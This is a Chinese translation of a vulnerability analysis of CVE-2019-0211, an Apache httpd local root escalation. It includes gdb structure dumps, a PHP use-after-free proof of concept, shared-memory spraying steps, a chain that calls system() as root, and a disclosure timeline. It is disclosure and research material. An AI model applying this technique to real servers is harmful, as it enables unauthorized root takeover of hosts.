Apache Httpd本地提权漏洞分析(CVE-2019-0211)

41yf1sh 事件 2019年4月8日发布
Favorite收藏

导语:近日,Apache爆出存在本地权限提升漏洞,该漏洞影响2.4.17(2015年10月9日发布)至2.4.38版本(2019年4月1日),其原因在于越界数组访问导致的任意函数调用,使得Apache HTTP将受到本地root权限提升。在Apache正常重新启动时,将会触发这一漏洞(apache2ctl graceful)。

一、概述

近日,Apache爆出存在本地权限提升漏洞,该漏洞影响2.4.17(2015年10月9日发布)至2.4.38版本(2019年4月1日),其原因在于越界数组访问导致的任意函数调用,使得Apache HTTP将受到本地root权限提升。在Apache正常重新启动时,将会触发这一漏洞(apache2ctl graceful)。在标准Linux配置中,logrotate实用程序每天上午6:25会运行一次此命令,以便重置日志文件句柄。

该漏洞影响mod_prefork、mod_worker和mod_event。在本文的漏洞分析中,我们所分析的代码和漏洞利用目标均为mod_prefork。

二、漏洞描述

在MPM prefork中,以root身份运行的主服务器进程管理一个单线程、低权限(www-data)的工作进程池,用于处理HTTP请求。为了从工作进程那里获得反馈,Apache维护了一个共享内存区域(SHM)计分板,其中包含各种信息,例如工作进程的PID,以及它们处理的最后一个请求。每个工作进程都以维护与其PID相关联的process_score结构为目标,并且具有对SHM的完全读/写访问权限。

ap_scoreboard_image:指向共享内存块的指针

(gdb) p *ap_scoreboard_image
$3 = {
  global = 0x7f4a9323e008,
  parent = 0x7f4a9323e020,
  servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820

与工作进程PID 19447相关联的共享内存示例:

(gdb) p ap_scoreboard_image->parent[0]
$6 = {
  pid = 19447,
  generation = 0,
  quiescing = 0 '\000',
  not_accepting = 0 '\000',
  connections = 0,
  write_completion = 0,
  lingering_close = 0,
  keep_alive = 0,
  suspended = 0,
  bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
    pid_t pid;
    ap_generation_t generation;
    char quiescing;
    char not_accepting;
    apr_uint32_t connections;
    apr_uint32_t write_completion;
    apr_uint32_t lingering_close;
    apr_uint32_t keep_alive;
    apr_uint32_t suspended;
    int bucket; <- index for all_buckets
}

当Apache正常重启时,其主进程会杀死旧的Worker,并用新的Worker替换它们。此时,主进程将使用每个旧Worker的Bucket值,来访问他的all_buckets数组。

all_buckets
(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
  pod = 0x7f19db2c7408,
  listeners = 0x7f19db35e9d0,
  mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
    ...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
    ...
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    ...
}

在这里,并没有发生绑定检查。因此,攻击者的恶意Worker可以更改其Bucket索引,并使其指向共享内存,以便在重新启动时控制prefork_child_bucket结构。最终,在删除权限之前,调用mutex->meth->child_init()。这导致以root身份执行任意函数调用。

三、易受攻击的代码

我们将在server/mpm/prefork/prefork.c中找到漏洞发生的位置和方式。

恶意Worker在共享内存中更改其Bucket索引,使其指向它的结构,也同样在SHM中。

在转天上午的6:25,logrotate请求从Apache正常重启。

在此之后,主要的Apache进程将首先杀死Worker,然后产生新的Worker。

通过向Worker发送SIGUSR1来完成进程的终止,预计可以迅速退出。

然后,调用prefork_run()(L853)来生成新的Worker。由于retained->mpm->was_graceful为True(L861),Worker不会立即重启。

相反,我们进入主循环(L933)并监视被终止Worker的PID。当旧Worker被终止时,ap_wait_or_timeout()返回其PID(L940)。

与此PID相关联的process_score结构的索引存储在child_slot(L948)中。

如果这个Worker被终止,但没有产生致命错误(L969),那么使用ap_get_scoreboard_process(child_slot)->bucket作为第三个参数调用make_child()(L985)。如前所述,一个恶意的Worker改变了Bucket的值。

make_child()创建一个新的子进程,并对主进程进行fork()(L671)。

进行OOB读取(L691),因此my_bucket受到攻击者的控制。

调用child_main()(L722),函数调用在后续还会发生。

如果Apache侦听两个或更多端口,那么SAFE_ACCEPT(<code>)将只会执行<code>,这通常是由于服务器侦听HTTP(80端口)和HTTPS(443端口)。

假设<code>被执行,则会调用apr_proc_mutex_child_init(),这将导致调用(*mutex)->meth->child_init(mutex, pool, fname),并且控制互斥锁。

在执行后,特权将会被提升(L446)。

四、漏洞利用

漏洞利用过程分为四个步骤:

1. 获取工作进程中的R/W访问权限。

2. 在SHM中编写伪造的prefork_child_bucket结构。

3. 使all_buckets[bucket]指向结构。

4. 等待早上6:25获取任意函数调用。

其优点在于,主进程永远不会退出,因此我们通过读取/proc/self/maps就可以知道所有内容的映射位置(ASLR和PIE没有作用)。当一个Worker被终止(或发生段错误时),会被主进程自动重启,因此没有对Apache进行DOS的风险。

其问题在于,PHP不允许对/proc/self/mem进行读取/写入,我们无法通过简单地编辑SHM来实现在正常重启后重新分配all_buckets。

1. 获得Worker进程的读取/写入访问权限

(1) PHP UAF 0-day

由于mod_prefork经常与mod_php结合使用,因此通过PHP进行漏洞利用似乎非常自然。CVE-2019-6977是一个完美的备选漏洞,但我在最初开始编写漏洞利用代码时,这个漏洞并没有出现。我在PHP 7.x中使用了一个UAF 0-day漏洞(似乎也适用于PHP 5.x)。

PHP UAF

<?php
 
class X extends DateInterval implements JsonSerializable
{
  public function jsonSerialize()
  {
    global $y, $p;
    unset($y[0]);
    $p = $this->y;
    return $this;
  }
}
 
function get_aslr()
{
  global $p, $y;
  $p = 0;
 
  $y = [new X('PT1S')];
  json_encode([1234 => &$y]);
  print("ADDRESS: 0x" . dechex($p) . "\n");
 
  return $p;
}
 
get_aslr();

这是一个PHP对象存在的UAF漏洞:我们取消设置$y[0](X的一个实例),但它仍然可以使用$this。

(2) UAF读取/写入

我们想要实现两件事:读取内存以查找all_buckets的地址,以及编辑SHM以更改Bucket索引,并添加我们的自定义互斥结构。

幸运的是,PHP的堆位于内存中的两个位置之前。

PHP堆的内存地址ap_scoreboard_image->*和all_buckets

[email protected]:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so
 
(gdb) p *ap_scoreboard_image
$14 = {
  global = 0x7f4a9323e008,
  parent = 0x7f4a9323e020,
  servers = 0x55835eddea78
}
(gdb) p all_buckets
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0

由于我们在PHP对象上触发UAF,因此该对象的任何属性也将是UAF。我们可以将这个zend_object UAF转换为zend_string。由于zend_string的结构,这非常有帮助:

(gdb) ptype zend_string
type = struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong h;
    size_t len;
    char val[1];
}

Len属性包含字符串的长度。通过对其进行递增,我们可以在内存中进一步实现读写,从而访问我们感兴趣的两个内存区域:SHM和Apache的all_buckets。

(3) 定位Bucket索引和all_buckets

我们想要为某个worker_id更改ap_scoreboard_image->parent[worker_id]->bucket。幸运的是,结构总是从共享内存块的开头开始,因此很容易能够找到。

共享内存位置,并以process_score结构为目标

[email protected]:~# cat /proc/6318/maps | grep rw-s
7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052                      /dev/zero (deleted)
 
(gdb) p &ap_scoreboard_image->parent[0]
$18 = (process_score *) 0x7f4a9323e020
(gdb) p &ap_scoreboard_image->parent[1]
$19 = (process_score *) 0x7f4a9323e044

要找到all_buckets,可以利用我们对prefork_child_bucket结构的了解。目前,我们已经掌握:

Bucket条目的重要结构

prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}
 
apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
 
    ...
}
 
apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
    apr_lockmech_e mech;
    const char *name;
}

all_buckets[0]->mutex将与all_buckets[0]位于同一内存区域。由于meth是一个静态结构,它将位于libapr的.data中。由于meth指向libapr中定义的函数,因此每个函数指针都位于libapr的.text中。

由于我们通过/proc/self/maps能够掌握这些区域的地址,因此我们可以浏览Apache内存中的每个指针,并找到与结构匹配的指针。这也就是all_buckets[0]。

正如我所提到的,all_buckets的地址在每次正常重启时都会发生变化。这意味着,但我们的漏洞被触发时,all_buckets的地址将与我们找到的地址有所不同。我们必须要考虑到这一点,稍后将会讨论到这一方面。

2. 在SHM中写入一个伪造的prefork_child_bucket结构

(1) 到达函数调用

任意函数调用的代码路径如下:

bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
(*mutex)->meth->child_init(mutex, pool, fname)

1.png

(2) 调用一些正确的东西

为了实现漏洞利用,我们使(*mutex)->meth->child_init指向zend_object_std_dtor(zend_object *object),将会产生以下链:

mutex = &my_bucket->mutex
[object = mutex]
zend_object_std_dtor(object)
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)

pDestructor设置为system,&ht->arData[0]->val是字符串。

2.png

如我们所见,两个最左边的结构都是叠加的。

3. 使all_buckets[bucket]指向结构

(1) 问题和解决方案

现在,如果all_buckets的地址在重新启动的前后没有变化,那么我们的漏洞利用可以按照下述步骤来实现:

1. 在PHP堆之后获取所有内存的读取/写入。

2. 通过匹配其结构来查找all_buckets。

3. 将我们的结构放入SHM中。

4. 更改SHM中的process_score.bucket之一,以使all_bucket[bucket]->mutex指向我们的Payload。

随着all_bucket的地址发生变化,我们可以做两件事来提升其可靠性:喷射(Spray)SHM并使用每个process_score结构,一个对应一个PID。

(2) 喷射共享内存

如果all_buckets的新地址离旧地址不远,my_bucket将指向我们的结构。因此,我们可以将其全部喷射在SHM的未使用部分上,而不是将我们的prefork_child_bucket结构放在SHM的准确位置。问题是,该结构也用作zend_object,因此它的大小为(5 * 8) = 40字节,从而使其包含zend_object.properties。在如此之小的空间上,喷射一个相对较大的结构,对我们来说并没有什么帮助。为了解决这个问题,我们叠加了两个中心结构,apr_proc_mutex_t和zend_array,并将它们的地址喷射到共享内存的其余部分。其结果是,现在prefork_child_bucket.mutex和zend_object.properties将指向同一地址。现在,如果all_bucket的重新定位没有距离其原始地址太远,那么my_bucket将会位于喷射区域。

3.png

(3) 使用每个process_score

每个Apache Worker都有一个关联的process_score结构,并带有一个Bucket索引。我们可以改变它们之中的每一个,而不是仅仅改变其中的一个process_score.bucket值,以便覆盖内存的另一部分。示例如下:

ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000

这样一来,我们的成功率就是原始成功率乘以Apache Worker的数量。在重新派生时,只有一个Worker具有一个有效的Bucket编号,但这并不是问题,因为其他的会发生崩溃,并且立即重新派生。

(4) 成功率

不同的Apache服务器具有不同数量的Worker。拥有更多的Worker就意味着我们可以在更少的内存上喷射互斥锁的地址,但这也同时意味着我们可以为all_buckets指定更多的索引。如果拥有更多Worker,就能提高我们的成功率。在实际测试中,我们在Apache服务器上尝试了4个Worker(默认),我的成功率大概在80%。随着提升Worker的数量,成功率可以提升至100%左右。

同样,如果漏洞利用失败,它可以在第二天重新启动,因为Apache仍然会正常重启。然而,Apache的error.log将包含其Worker段错误的通知。

4. 等待早上6:25触发攻击

显然,这是最轻松的一个步骤。

五、时间节点

2019年2月22日 首次发送电子邮件到security[at]apache[dot]org,提交漏洞说明和PoC。

2019年3月7日 Apache的安全团队发送一个补丁给我,以便进行安全检查,并分配了CVE。

2019年3月10日 确认该补丁没有问题。

2019年4月1日 Apache HTTP 2.4.39版本发布。

Apache团队针对漏洞情况,迅速做出响应,并且修复了漏洞。这段漏洞发现与漏洞提交的经历非常棒,而PHP则从未回复过有关UAF的漏洞。

六、问题解答

1. 名称的由来?

CARPE:代表CVE-20019-0211 Apache Root Privilege Escalation(Apache Root权限提升漏洞)。

DIEM:漏洞每天被触发一次。

2. 漏洞利用方法是否可以再进一步改进?

答案是肯定的。举例来说,我对于Bucket索引的计算就是不稳定的。我选择的方法,是在PoC和适当的漏洞利用之间。顺便,我也添加了大量的说明,这一点也可能会对大家有所启示。

3. 该漏洞是否以PHP为目标?

不,该漏洞仅针对Apache HTTP服务器。

本文翻译自:https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html 如若转载,请注明原文地址: https://www.4hou.com/vulnerable/17227.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论